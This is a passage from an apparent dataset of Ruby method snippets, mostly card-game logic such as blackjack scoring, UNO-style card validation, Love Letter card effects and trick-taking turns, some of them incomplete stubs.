#{@selected_card.to_s}.\"\n else\n puts \"You do not want to use #{@selected_card.to_s}.\"\n end\n\n puts \"You are discarding #{@card_to_discard.to_s}.\"\n\n puts InputManager.input_options({ affirmative: 'Save and Complete Turn', negative: 'Do Something Different' }, invalid_confirmation)\n invalid_confirmation = nil\n confirm_response = InputManager.get\n\n # If player confirms their decision\n # persist their decision\n if InputManager.affirmative?(confirm_response)\n save_and_discard(@placement_response)\n waiting_to_confirm_placement = false\n \n # If player changes their mind\n # allow them to choose how to use their card again \n elsif InputManager.negative?(confirm_response)\n waiting_to_use_card = true\n else\n invalid_confirmation = confirm_response\n end\n end\n end", "def get_chosen_card(player, match_card, deck)\n begin\n puts 'Enter colour (R, B, Y, G) followed by a number(0-9) - Eg to play a Red 7, enter R7'\n puts 'Or, R, B, Y, G followed by R-Reverse, S-Skip or P2-Pickup 2 - Eg to play a Green Pickup 2, enter GP2'\n puts 'Enter WC for Wild Card, WP4 for Wild Pickup 4 '\n puts 'Enter D to pick up from the deck'\n puts 'What would you like to play? '\n option = gets.downcase\n color = option[0]\n number = option[1, 2].strip\n color = validate_color(color)\n if color == 'Draw'\n player.cards << deck.take_card\n return false\n end\n number = validate_number(number)\n chosen_card = validate_card_in_hand(color, number, player)\n validate_card_matches_discard(color, number, match_card)\n rescue InvalidColorError => e\n puts e.message\n retry\n rescue InvalidNumberError => e\n puts e.message\n retry\n rescue InvalidCardInHandError => e\n puts e.message\n retry\n rescue InvalidCardMatchError => e\n puts e.message\n retry\n end\n chosen_card\n end", "def blackjack?(cards)\n\nend", "def blackjack?; value == 21 && @cards.length == 2; end", "def round(player)\n # if black jack from first 2 cards\n if player.score == 21\n case_black_jack(player)\n unless play_again\n return\n end\n end\n\n while true\n print_scores(player)\n if player.score == 21\n dealer_game(player)\n unless play_again\n break\n end\n end\n print_options_choosing(player)\n option = gets.chomp\n if option.match('1|Hit')\n player.open_new_card\n # if player got > 21 - game is over\n if player.score > WINNER_SCORE\n if player.has_ace and player.ace_score <= WINNER_SCORE\n player.score, player.ace_score = player.ace_score, player.score\n next\n end\n puts \"Your score is: #{player.score}\"\n puts 'YOU LOSE! DEALER WIN'\n player.update_money(false, false)\n else\n next\n end\n elsif option.match('2|Stand')\n dealer_game(player)\n elsif option.match('3|Double_down')\n option_double_down(player)\n elsif option.match('4|Surrender')\n puts \"House returned #{player.bet}$ to you!\"\n player.update_money(false, true)\n elsif option.match('5|Split')\n option_split(player)\n else\n puts 'You entered wrong option! Try again!'\n next\n end\n unless play_again\n break\n end\n end\n end", "def deal_card(game_deck,player)\n card = game_deck.deck.pop\n ace_checker(card,player)\n player.hand.push(card)\n puts\"#{player.player_name} received #{card.identify}\"\n puts \"Current hand: #{player.display_hand}\"\n win_or_bust(player)\n hit_or_stay(player)\nend", "def play_for_trick \n if @player1.deal == true && @player2.deal == false && !@player1.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player1.lead_card\n @player1.remove_card_from_hand(leading_card)\n puts @player1.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player2.respond(leading_card)\n @player2.remove_card_from_hand(response_card)\n puts @player1.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player2.name + \" plays the \" + response_card.card_to_string\n \n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n if winning_card == leading_card \n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n else\n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n\n if @player1.deal == false && @player2.deal == true && !@player2.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player2.lead_card\n @player2.remove_card_from_hand(leading_card)\n puts @player2.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player1.respond(leading_card)\n @player1.remove_card_from_hand(response_card)\n puts @player2.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player1.name + \" plays the \" + response_card.card_to_string\n\n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n\n if winning_card == leading_card \n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n else\n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n end", "def play_card(user, card, args)\n player_name = user.to_s\n unless user == active_user\n return [false, nil, {player_name => 'You must wait your turn.'}]\n end\n player = find_player(user)\n\n id = card.to_i\n index = player.hand.index { |c| c.id == id }\n\n if player.hand.size == 1\n raise \"#{player_name} played before drawing\"\n end\n\n if !index\n return [false, nil, {player_name => \"You do not have a #{card}\"}]\n end\n\n # Since there will only be two cards in hand, index will either be 0 or 1\n other_index = 1 - index\n\n if player.ministered? && id != 7\n seven = Card.new(7)\n msg = \"You MUST play your #{seven}: #{seven.usage}.\"\n return [false, nil, {player_name => msg}]\n end\n\n pubtext = nil\n privtext = {}\n\n args = args ? args.split : []\n\n if NEED_TARGET.include?(id)\n if args.empty?\n msg = \"You must specify a target for #{Card.name(id)}.\"\n return [false, nil, {player_name => msg}]\n end\n\n target = resolve_name(args[0])\n unless target\n msg = args[0] + ' is not a valid target.'\n return [false, nil, {player_name => msg}]\n end\n\n if target == player && id != 5\n msg = \"You can only self-target with a #{Card.name(5)}\"\n return [false, nil, {player_name => msg}]\n end\n end\n\n prefix = \"#{player} plays #{Card.name(id)}\"\n case id\n when 1\n # Guess\n guess = args[1] ? args[1].to_i : 0\n if 2 > guess || guess > 8\n msg = 'You must guess a number between 2 and 8.'\n return [false, nil, {player_name => msg}]\n end\n prefix << \" to see if #{target} has #{Card.name(guess)}. \"\n\n if target.protected?\n pubtext = prefix + \"But #{target} is protected!\"\n elsif target.card.id == guess\n pubtext = prefix + \"#{target} does and is out of the round!\"\n kill_player(target)\n else\n pubtext = prefix + \"But #{target} does not.\"\n end\n\n when 2\n # Peek at card\n pubtext = prefix + \" to see #{target}'s card.\"\n if target.protected?\n pubtext << \" But #{target} is protected!\"\n else\n privtext[player_name] = \"#{target} has a #{target.card}.\"\n privtext[target.name] = \"You showed #{player} your #{target.card}.\"\n end\n\n when 3\n # Battle!\n my_card = player.hand[other_index]\n\n prefix << \" to battle with #{target}. \"\n if target.protected?\n pubtext = prefix + \"But #{target} is protected!\"\n elsif target.card.id < my_card.id\n pubtext = prefix + \"#{target}'s #{target.card} is clearly \" +\n \"inferior, so #{target} is out of the round!\"\n kill_player(target)\n elsif target.card.id > my_card.id\n pubtext = prefix + \"#{player}'s #{my_card} is clearly \" +\n \"inferior, so #{player} is out of the round!\"\n kill_player(player)\n else\n pubtext = prefix + 'It was a great battle, but the match was ' +\n 'inconclusive.'\n end\n\n when 4\n # Protect\n player.protected = true\n pubtext = prefix + \". #{player} is protected for one turn!\"\n\n when 5\n # Force discard\n if deck_size > 0\n new_card = @deck.shift\n source = 'a card from the deck'\n else\n new_card = @facedown_card\n source = 'the facedown card'\n end\n\n if target == player\n replace_index = other_index\n old_card = player.hand[replace_index]\n else\n replace_index = 0\n old_card = target.card\n end\n\n pubtext = prefix + \" to make #{target} discard.\"\n\n if target.protected?\n pubtext << \" But #{target} is protected!\"\n elsif old_card.id == 8\n kill_player(target)\n pubtext << \" Because #{target} discarded a #{old_card}, \" +\n \"#{target} is out of the round!\"\n else\n pubtext << \" #{target} discards #{old_card} then picks up #{source}.\"\n target.discard_and_replace(new_card, replace_index)\n privtext[target.name] = \"#{player} made you discard your \" +\n \"#{old_card}. Your new card is #{new_card}.\"\n end\n\n when 6\n # Trade hands\n pubtext = prefix + \" to trade hands with #{target}.\"\n if target.protected?\n pubtext << \" But #{target} is protected!\"\n else\n my_card, their_card = player.trade_hand_with(target, other_index)\n privtext[player_name] =\n \"You traded with #{target} and got a #{my_card}.\"\n privtext[target.name] =\n \"#{player} traded with you giving you a #{their_card}.\"\n end\n\n when 7\n pubtext = prefix + '.'\n\n when 8\n # Die!\n pubtext = prefix + \". #{player_name} is out of the round!\"\n kill_player(player)\n end\n\n if player.alive?\n # If I'm still alive, play my card.\n # If I died, I've already discarded my cards so don't play.\n player.play_card_at(index)\n\n # Let next player take turn.\n # If I'm alive, that means I must rotate to the back.\n # If I'm dead, next player is already in position, so no rotate.\n @round_player_order.rotate!\n end\n\n compare_cards if deck_size == 0\n\n [true, pubtext, privtext]\n end", "def action_useCard(pockerCard_id)\n\n if check_cardOwn(pockerCard_id) and check_currentTurn()#only owner can play card and current turn on\n if check_usableNumShape(pockerCard_id) #check bottom number and shape\n\n sourcePlayer_id = Game.last.players.by_user(current_user).id\n destPlayer_id = Game.last.players.dummy.id # destPlayer_id = 2 (dummy) \n\n action_moveCard(dest_id: destPlayer_id, source_id: sourcePlayer_id, card_id: pockerCard_id)\n\n #check effect of cards\n card_effect = Pockercard.find(pockerCard_id).effect\n action_addDummyList(pockerCard_id)\n action_putBottomCard(pockerCard_id)\n if card_effect == \"none\"\n action_endTurn(1) #move to next player=[\n elsif card_effect == \"back\" \n Game.last.toggle_order!\n action_endTurn(1) #skip next player\n elsif card_effect == \"jump\" \n action_endTurn(2) #move to next next player\n elsif card_effect == \"attack\"\n action_attackCard(pockerCard_id)\n action_endTurn(1) #move to next next player\n elsif card_effect == \"change\"\n action_setBottomCardStep()\n elsif card_effect == \"onemore\" \n else\n action_endTurn(1) #skip next player\n end\n check_winOrLose() \n end\n end\n\n\n\n end", "def take_turn(player)\n p player.render_hand\n #render their hand\n p \"Which cards do you want to discard? (first, second..etc) i.e. '1,2' If none, reply 'none'\"\n discarded_cards = gets.chomp\n indices = parse(discarded_cards)\n discard(indices, player)\n #promt for how many new cards? => quantity\n #rerender the hand\n #promt for fold?\n #prompt them for a bet.. show their current bet\n end", "def player_deal_card\n player.add_card(deck.deal_card)\n player.add_card(deck.deal_card)\n player.show_hand\n end", "def auto_turn\n #TODO:\n #returns card, true or false for play or discard\n #choose a random card\n #discard a random card if no cards can be played\n #come up with a prioritized hand based on winning potential (play the best, discard the worst)\n end", "def player_action user_id, user_input=nil\n return false unless player_up?(user_id)\n current_player_index = player_index(user_id)\n \n # check if we are in bidding or playing a card\n if (!done_bidding?) && user_input.to_s !~ /^\\d+$/ # aka: user input == Card\n return false # correct user - played card rather than bid\n elsif !done_bidding?\n bid = user_input.to_i\n if !bid_in_range?(bid) \n return false\n elsif invalid_dealer_bid?(user_id, bid)\n return false\n end\n \n # record the bid\n config[:bids][current_player_index] = bid\n\n if config[:dealer_index] == current_player_index # dealer is last to bid, bidding is done\n set_first_to_play_hand\n else\n to_left = next_player_index config[:waiting_on_index]\n add_waiting_info(to_left, \"Bid\")\n end\n\n elsif !config[:player_hands][current_player_index].empty?\n # player is playing a card\n card = user_input\n \n # ensure that the card is in their inventory\n return false unless card_in_player_hand?(current_player_index, card)\n\n # ensure that the card is actually playable\n if config[:first_suit_played].nil?\n config[:first_suit_played] = card.suit\n if config[:first_suit_played] == config[:trump_card].suit && !ignore_trump? \n config[:last_to_lead_with_trump] = current_player_index\n end\n end\n playable_cards = get_playable_cards(config[:player_hands][current_player_index])\n # TODO: add a message here?\n return false unless playable_cards.include? card\n \n # actually play the card\n config[:cards_in_play][current_player_index] = config[:player_hands][current_player_index].delete(card)\n\n set_winner_card_index(current_player_index) # is this correct...\n # check to see if all players have played a card\n if all_players_played_a_card?\n add_waiting_info(config[:winner_index], 'Clear')\n else\n # set next player to play a card\n next_up = next_player_index(current_player_index)\n add_waiting_info(next_up, \"Play\")\n end\n end\n \n save_state config \n end", "def hit?(card_total)\n prompt_user\n user_input = get_user_input\n if user_input == \"h\"\n card_total += deal_card\n elsif user_input == \"s\"\n card_total\n else\n invalid_command\n prompt_user\n get_user_input\n end\nend", "def blackjack?(players_cards_value, computers_cards_value, players_cards_two_value)\n if players_cards_value == 21\n puts 'BlackJack! You Win!'\n play_again\n exit\n elsif players_cards_two_value == 21\n puts 'BlackJack! You Win!'\n play_again\n exit\n elsif computers_cards_value == 21\n puts 'Blackjack! House Wins'\n play_again\n exit\n end\n end", "def get_card(player, card_valid)\n puts ''\n puts '----------------------------------------------------------------------------------------'\n puts 'Digite el id de la carta a lanzar'\n\n puts \"player\"+player.id.to_s\n #condicional para validar la opcion a elejir por la maquina\n if(player.id.to_i==2)\n\n min_max\n end\n card_id = gets.chomp.to_s\n card = search_card(player, card_id)\n if !card.nil?\n player.card_thrown = card\n @cards_thrown.push(player.card_thrown)\n (0..player.cards.length - 1).each do |i|\n player.cards.delete_at(i) if player.cards[i] == card\n end\n card_valid = false\n else\n puts 'Id no valido'\n end\n card_valid\n end", "def take_turn(session, card, player)\n session.choose(card)\n session.choose(player)\n session.click_on(\"Take Turn\")\nend", "def play_again?(username, banner_cards, banner_lets_play)\n puts \"Would you like to play again? (y/n)\"\n choice = gets.chomp[0].downcase\n if choice == \"n\"\n puts \"\\n\\n\"\n puts \"Thank you, #{username}, for visiting\".center(70)\n puts \"Mary's Magnificent Emporium of Blackjack\".center(70)\n puts banner_cards\n puts \"\\n\\n\"\n exit\n else\n puts banner_lets_play\n return choice\n end\n end", "def pick_player_card\n # TODO: Use Random to get a new random card\n rand(1..11)\nend", "def winner\n if (win?(player) == true) && (win?(dealer) == false)\n show_hands_final\n puts \"#{player.name} wins!!!\\n\" ;player.score += 1\n elsif (win?(dealer) == true) && (win?(player) == false)\n show_hands_final\n puts \"#{dealer.name} wins!!!\\n\" ;dealer.score += 1\n elsif (win?(player) == \"Bust\") || (win?(dealer) == \"Bust\")\n show_hands_final\n puts \"#{player.name} and #{dealer.name} busted. It's a tie!\\n\"\n elsif win?(player) == \"Tie\"\n show_hands_final\n if player.hand_count > dealer.hand_count\n puts \"\\n#{player.name} and #{dealer.name} both show #{player.hand_total}.\\n\\n#{player.name} wins with #{player.hand.length} cards!!!\"\n player.score += 1\n elsif dealer.hand_count > player.hand_count\n puts \"\\n#{player.name} and #{dealer.name} both show #{player.hand_total}.\\n\\nDealer wins with #{dealer.hand.length} cards!!!\"\n dealer.score += 1\n else\n puts \"\\n#{player.name} and #{dealer.name} both show #{player.hand_total}.\\n\\n#{player.name} wins since both players have #{player.hand.length} cards!!!\\n\"\n player.score += 1\n end\n end\n again?\n end", "def runner\n welcome\n user_hand = initial_round\n prompt_user\n hit_or_stay = get_user_input\n if hit_or_stay == 's'\n prompt_user\n hit_or_stay = get_user_input\n if hit_or_stay == 's'\n return display_card_total(user_hand)\n end\n end\n if hit_or_stay == 'h'\n new_card = deal_card\n user_hand += new_card\n display_card_total(user_hand)\n end\n until user_hand > 21\n user_hand = hit?(user_hand)\n end\n end_game(user_hand)\nend", "def check_blackjack\n if count_score($player_hand) == 21 && $player_hand.length == 2\n puts \"Blackjack! You win!\"\n @bankroll += @bet_amount*1.5\n puts \"Your new bankroll is \" + @bankroll.to_s\n play_again\n end\nend", "def play_game \n #initialize variables used for game\n player_name = get_name \n deck = init_deck\n player_total = 0\n dealer_total = 0\n # deal the initial cards\n player_cards = deal_cards(2, deck)\n dealer_cards = deal_cards(2, deck)\n #player plays round\n player_total = player_round(player_cards, dealer_cards, player_total, player_name, deck)\n puts \"Player round finished, player total is #{player_total}.\"\n # dealer plays round, but only if player didn't hit blackjack or go bust\n if (blackjack(player_total) != true) && (bust(player_total) != true)\n dealer_total = dealer_round(dealer_cards, dealer_total, deck)\n puts \"Dealer round finished, dealer total is #{dealer_total} and player total is #{player_total}.\"\n end\n # evaluate to see who won \n playing = evaluate(player_total, dealer_total, playing)\n if playing == \"yes\"\n play_game\n else \n puts \"Bye! Thanks for visiting the casino!\"\n exit\n end\nend", "def alg_play_acard(command_decl_avail)\r\n player = @alg_player\r\n if command_decl_avail.size > 0\r\n # there are declaration\r\n cmd_change_brisc_def = nil\r\n # check if there is a change briscola command\r\n command_decl_avail.each do |item| \r\n if item[:change_briscola]\r\n # we have only set the change briscola hash {:briscola => lbl, :on_hand => lbl}\r\n cmd_change_brisc_def = item[:change_briscola]\r\n rank_b = @deck_info.get_card_info(cmd_change_brisc_def[:briscola])[:rank] \r\n rank_hand = @deck_info.get_card_info(cmd_change_brisc_def[:on_hand])[:rank]\r\n if rank_hand > rank_b\r\n cmd_change_brisc_def = nil # avoid change briscola because is smaller\r\n end\r\n end \r\n end\r\n if cmd_change_brisc_def\r\n # we have a change briscola command\r\n if @core_game.alg_player_change_briscola(player, cmd_change_brisc_def[:briscola], cmd_change_brisc_def[:on_hand]) == :allowed\r\n @log.debug \"#{@alg_player.name} alg_player_change_briscola #{cmd_change_brisc_def[:briscola]} with #{cmd_change_brisc_def[:on_hand]}\"\r\n return\r\n else\r\n @log.debug \"Change briscola not allowed? #{cmd_change_brisc_def.inspect}\"\r\n end\r\n else\r\n # mariazza declaration\r\n # look on the max mariazza\r\n mar_max = command_decl_avail.max{|a,b| a[:points] <=> b[:points]}\r\n if mar_max[:name] != :change_briscola\r\n @log.info \"#{@alg_player.name} declare #{mar_max[:name]}\"\r\n # make declaration\r\n @pending_points += mar_max[:points]\r\n @core_game.alg_player_declare(player, mar_max[:name] )\r\n # now wait for confirm to continue\r\n # IMPORTANT return, otherwise we get called two time\r\n return\r\n end\r\n end\r\n end\r\n case @level_alg \r\n when :master\r\n card = play_like_a_master\r\n else\r\n card = play_like_a_dummy\r\n end\r\n #card = play_like_a_master\r\n # notify card played to core game\r\n @log.debug \"alg_play_acard: card #{card}\"\r\n @card_played_req = true\r\n @core_game.alg_player_cardplayed(@alg_player, card)\r\n @log.error \"No cards on hand - programming error\" unless card\r\n end", "def alg_player_cardplayed(player, lbl_card)\n str = \"#{player.name},#{lbl_card}\"\n @net_controller.send_data_to_server( @net_controller.build_cmd(:alg_player_cardplayed, str) )\n @log.debug(\"<client>alg_player_cardplayed: #{str}\")\n return :allowed # avoid dumb comment\n end", "def correct?\n @card.answer == @guess\n end", "def draw_card\n waiting_to_pick_pile = true\n\n invalid_pile = nil\n while waiting_to_pick_pile\n DisplayManager.prepare_ingame_display\n show_state\n\n puts \"Do you want to draw a new card, or use the top discarded card?\"\n puts InputManager.input_options({ affirmative: 'Draw New Card', negative: 'Take Last Discarded Card' }, invalid_pile)\n invalid_pile = nil\n \n response = InputManager.get\n\n # If player picks the draw pile\n # draw the top card from that pile\n if InputManager.affirmative?(response)\n choose_new_card\n waiting_to_pick_pile = false\n\n # If player picks from discard pile\n # draw top card from that pile\n # player cannot discard this card\n elsif InputManager.negative?(response)\n choose_discard\n waiting_to_pick_pile = false\n else\n invalid_pile = response\n end\n end\n end", "def hit?(card_total)\n # code hit? here\n prompt_user\n input = get_user_input\n if input == \"h\"\n card_total = card_total + deal_card\n elsif input == \"s\"\n card_total = card_total\n else\n invalid_command\n end\n card_total\n end", "def handle_user_choice\n ans = nil # track user input\n while true\n puts \"\\nChoose one of the following options.\"\n puts \"1. Enter set.\"\n puts \"2. Redeal cards (if no sets).\"\n ans = gets.chomp.to_i\n\n if ans == 1\n break\n elsif ans == 2\n redeal # redeal cards\n print_cards\n else\n puts \"Invalid input.\"\n end\n end\n\n ans # return user input\nend", "def runner\n welcome #welcomes player \n cardtotal = initial_round #stores the two cards from the first dealing\n until cardtotal > 21 #until their card total is greater than 21\n cardtotal = hit?(cardtotal) #set the new card total equal to the player's decision\n display_card_total(cardtotal)\n if cardtotal == 21\n puts \"You cards add up to #{cardtotal}! Blackjack!\"\n return\n end\n end\n end_game(cardtotal) #ends the game and returns player's cardtotal\nend", "def get_next_card\n if params[:type]\n num_of_cards = session[:all_cards].size - 1\n random_num = rand(0..num_of_cards)\n\n #Ensures a previously dealt card is not dealt again\n while( session[:all_cards][random_num].to_i==0 )\n random_num = rand(0..num_of_cards)\n end\n\n selected = session[:all_cards][random_num]\n session[:all_cards][random_num] = 0\n session[:player_cards] << selected if params[:type].to_s==\"player\"\n session[:dealer_cards] << selected if params[:type].to_s==\"dealer\"\n @status = :ok\n else\n selected = nil\n @status = :failed \n end\n respond_to do |format|\n format.json { render :json => {:status => @status, :selected => selected} }\n end\n end", "def hit?(card_total)\n prompt_user\n input = get_user_input\n if input == \"h\"\n return card_total += deal_card\n elsif input == \"s\"\n return card_total\n elsif input != \"h\" || get_user_input != \"s\"\n puts \"Please enter a valid command\"\nend\nend", "def hit(player_hit)\n card = shoe.cards.shift\n #Player's choice for each ace. Should allow player to reassign the Ace's\n ##value later (in bust cases). Idea: change code in hand_check\n if player_hit == player\n if (card.card_name.slice(0,3) == \"Ace\")\n response = \"\"\n puts \"You drew an #{card.card_name}. Would you like it to equal 1 or 11? Please type '1' or '11' and press enter.\"\n response = gets.chomp\n if response == \"1\"\n card.value = 1\n player_hit.hand << card\n elsif response == \"11\"\n card.value = 11\n player_hit.hand << card\n end\n else\n player_hit.hand << card\n end\n #Dealer chooses based upon hand count\n elsif player_hit == dealer\n if card.card_name.slice(0,3) == \"Ace\"\n if (dealer.hand_total + 11) <= 21\n player_hit.hand << card\n elsif (dealer.hand_total + 11) > 21\n card.value = 1\n player_hit.hand << card\n end\n else\n player_hit.hand << card\n end\n end\n end", "def two_aces\n if player1_score == 22 && cards.value == 11\n puts \"Would you like for Ace to equal 1? Yes or No\"\n userinput == gets.chomp.downcase\n if userinput == \"yes\"\n player1_score - 10\n elsif userinput == \"no\"\n puts \"You busted.\"\n play_again\n else\n puts \"You must pick a a number.\"\n end\n end\n end", "def play_game\n\t#user_choose_rps \n\tcomp_choice = comp_choose_rps #<-- no need to use this because it's used once \n\tuser_choice = user_choose_rps \n\tputs \"The computer chose #{comp_choice}. You chose #{user_choice}.\" \n\tputs get_winner(comp_choice, user_choice) \n\treplay \nend", "def isBlackjack(dealer, player, bet)\r\n\t\r\n\tif dealer.getScore(dealer.hand) == 21 && player.getScore(player.hand) == 21\r\n\t\tputs \"Its a tie! You both got blackjack!\"\r\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\r\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\r\n\t\texit\r\n\telsif dealer.getScore(dealer.hand) == 21\r\n\t\tputs \"Blackjack! Dealer Wins!\"\r\n\t\tdealer.setWinnings(bet)\r\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\r\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\r\n\t\texit\r\n\telsif player.getScore(player.hand) == 21\r\n\t\tputs \"You've got a blackjack! Its the dealer's turn.\"\r\n\telse\r\n\t\treturn\r\n\tend\r\n\t\t\r\nend", "def player_turn(player_cards, dealer_cards, deck)\n answer = nil\n puts \"\\nYou have #{cards_string(player_cards)}.\\n\\\ntotal: #{hand_value(player_cards)}\"\n loop do\n puts \"\\nHit, Stay or Odds?\\n\\\n('h': hit, 's': stay, 'o': odds of win/tie/lose):\"\n answer = gets.chomp\n if answer.downcase.start_with? 'h'\n hit(player_cards, deck)\n puts \"You have: #{cards_string(player_cards)}.\\n\\\ntotal: #{hand_value(player_cards)}\"\n elsif answer.downcase.start_with? 'o'\n display_odds(player_cards, dealer_cards)\n end\n break if answer.downcase.start_with?('s') || busted?(player_cards)\n end\n puts \"You chose to stay!\" if answer.downcase.start_with? 's'\n puts \"You busted!\" if busted?(player_cards)\nend", "def next_card\n if [\"pass\",\"fail\"].include?(params[:card_status])\n quiz = Quiz.find(params[:quiz_id])\n user = quiz.user\n card = Card.find(params[:card_id])\n\n card.pass(user) if params[:card_status] == \"pass\"\n card.fail(user) if params[:card_status] == \"fail\"\n\n cv = CardView.find_or_create(user, card)\n quiz.shuffle_card_into_queue(cv)\n\n current_card = quiz.current_card\n redirect_to quiz_card_path(quiz, current_card)\n else\n flash[:error] = \"Couldn't figure out whether you passed or failed that particular card... try again?\"\n redirect_to :back\n end\n end", "def play_game\n\n Console_Screen.cls #Clear the display area\n \n #Assist the player and dealer an initial starting card\n playerHand = get_new_card\n dealerHand = get_new_card\n \n #Call the method responsible for dealing new cards to the player\n playerHand = complete_player_hand(playerHand, dealerHand)\n \n #If the player has not gone bust, call the method responsible for managing\n #dealer's hand\n if playerHand <= 21 then\n dealerHand = play_dealer_hand(dealerHand)\n end\n\n #call the method responsible for determining the results of the game\n determine_winner(playerHand, dealerHand)\n\n end", "def blackjack?\n score == 21\n end", "def addCard(card)\n\t\t@cards << card\n\t\t@value += getValue(card.rank)\n\t\tif card.rank == 'Ace'\n\t\t\t@hasAce = true\n\t\tend\n\t\tif @cards.length == 2 and @value == 21 and @hasAce # updates should be in different method\n\t\t\t@blackjack = true\n\t\tend\n\t\tif @value > 21 and @hasAce\n\t\t\t@value -= 10\n\t\t\t@hasAce = false\n\t\tend\n\tend", "def dealer_game(player)\n @is_first_cards = false\n puts \"Your score is #{player.score}!\"\n puts \"Dealer's turn:\"\n @dealer.update_score\n self.print_scores(player)\n while @dealer.score. < 17\n sleep(1)\n @dealer.open_new_card\n puts \"Your score: #{player.score}; Dealer score: #{@dealer.score}\"\n end\n get_winner(player)\n end", "def receiveInfo(playerIndex, card)\n\t\t#if no one could answer\n\t\tif(playerIndex == -1 && card == nil)\n\t\t\t#then the guess was correct \n\t\t\t@isCorrect = true\n\t\t\tputs \"No one could answer\"\n\t\telse\n\t\t\t#otherwise show this player a card the refute their guess\n\t\t\tputs \"Player #{playerIndex} showed Player #{@myIndex} a card\"\n\n\t\t\t#and delete the card they were shown for the not seen list\n\t\t\tif card.person?\n\t\t\t\t@suspectsNotSeen.delete(card)\n\t\t\telsif card.place?\n\t\t\t\t@locationsNotSeen.delete(card)\n\t\t\telse\n\t\t\t\t@weaponsNotSeen.delete(card)\n\t\t\tend\n\t\tend\n\tend", "def runner\n #setup \nwelcome\ncard_total = initial_round\nprompt_user\ninput = get_user_input\nuntil card_total > 21\n if input == \"h\"\n card_total = new_hit(card_total)\n display_card_total(card_total)\n elsif input == \"s\"\n stay=true\n else\n invalid_command\n end \n end\n if card_total == 21\n puts \"You Drew Blackjack\"\n return \"You Win!!\"\n end \n if card_total > 21\n puts \"Sorry, you hit 30. Thanks for playing!\"\n end \n\nend", "def user_choose_rps\n\tputs \"Enter rock, paper or scissors:\"\n user = gets.chomp\n user\nend", "def request_pass(player,direction)\n sort_hand_by_rank!\n @cards.slice(0...3)\n end", "def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Assign the player and dealer an initial starting card\r\n playerHand = get_new_card\r\n dealerHand = get_new_card\r\n\r\n #Call the method responsible for dealing new cards to the player\r\n playerHand = complete_player_hand(playerHand, dealerHand)\r\n\r\n #If the player has not gone bust, call the method responsible for managing\r\n #dealer's hand\r\n if playerHand <= 21 then\r\n dealerHand = play_dealer_hand(dealerHand)\r\n end\r\n\r\n #call the method responsible for determining the results of the game\r\n determine_winner(playerHand, dealerHand)\r\n\r\n end", "def play_cards\n selection = get_card_numbers\n selection_cards = selection.map {|i| @game.field[i] }\n if (selection_cards.compact.length != 3)\n flash[:error] = 'You did not select three cards.'\n return false\n end\n @found_set = @game.make_set_selection( @player, *selection_cards )\n unless @found_set\n flash[:notice] = 'The three cards you selected are not a set.'\n return false\n end\n flash[:notice] = nil\n flash[:error] = nil\n true\n end", "def take_turn\n turn_over = false\n until turn_over\n last_rank = ask_for_cards_until_go_fish_and_get_last_requested_rank\n\n end\n player.lay_down_books\n end", "def hit?(card_total)\n value = [\"h\",\"s\"]\n prompt_user\n user = get_user_input \n #binding.pry\n \n \n if user == \"h\"\n card_total += deal_card\n elsif user == \"s\"\n card_total\n else \n invalid_command\n hit?(card_total)\n end \n #binding.pry\n #invalid_command \nend", "def evaluate (player_total, dealer_total, playing)\n if player_total > 21\n puts \"Sorry, you went bust!\"\n elsif dealer_total > 21\n puts \"Dealer went bust, you won!\"\n elsif player_total == 21\n puts \"Blackjack!!! You win!\"\n elsif dealer_total == 21\n puts \"Dealer hit blackjack! You lose.\"\n elsif player_total > dealer_total\n puts \"You've won! Higher score than the dealer.\"\n elsif player_total < dealer_total\n puts \"Sorry, you lost. The dealer's score is higher than yours.\"\n else player_total == dealer_total\n puts \"It's a push! Your hands are tied.\"\n end\n puts \"Would you like to play another game? (yes or no response only)\"\n # again need more validation for response here\n playing = gets.chomp.downcase\nend", "def blackjack_check\r\n\t\tif @player.hand.hand_value == 21 && @dealer.hand.hand_value == 21\r\n\t\t \t@dealer.show_hand\r\n\t\t \tputs \"Both #{@player.name} and #{@dealer.name} have Blackjack. It's a push\"\r\n\t\t \treturn true\r\n\t\t elsif @player.hand.hand_value == 21 && @dealer.hand.hand_value < 21\r\n\t\t \t@dealer.show_hand\r\n\t\t \tputs \"#{@player.name} has a Blackjack. #{@player.name} wins!\" \r\n\t\t \treturn true\r\n\t\t elsif @player.hand.hand_value < 21 && @dealer.hand.hand_value == 21\r\n\t\t \t@dealer.show_hand\r\n\t\t \tputs \"#{@dealer.name} has a Blackjack. #{@dealer.name} wins.\"\r\n\t\t \treturn true\r\n\t\t else\r\n\t\t \treturn false\r\n\t\t end\r\n\tend", "def choose_card \n\n @cards.shift\n end", "def runner\n welcome\n users_hand = initial_round\n card_total = users_hand\n \n until card_total >= 21\n card_total = hit?(card_total)\n display_card_total(card_total)\nend \nend_game(card_total)\nend", "def results\n @dealer.can_show_dealer_cards = true\n if @player.get_current_score > 21\n @dealer.money += @bank\n @status = 3\n elsif @dealer.get_current_score > 21\n @player.money += @bank\n @status = 1\n elsif @player.get_current_score > @dealer.get_current_score\n @player.money += @bank\n @status = 1\n elsif @player.get_current_score < @dealer.get_current_score\n @dealer.money += @bank\n @status = 3\n else @player.get_current_score == @dealer.get_current_score\n @player.money += BID\n @dealer.money += BID\n @status = 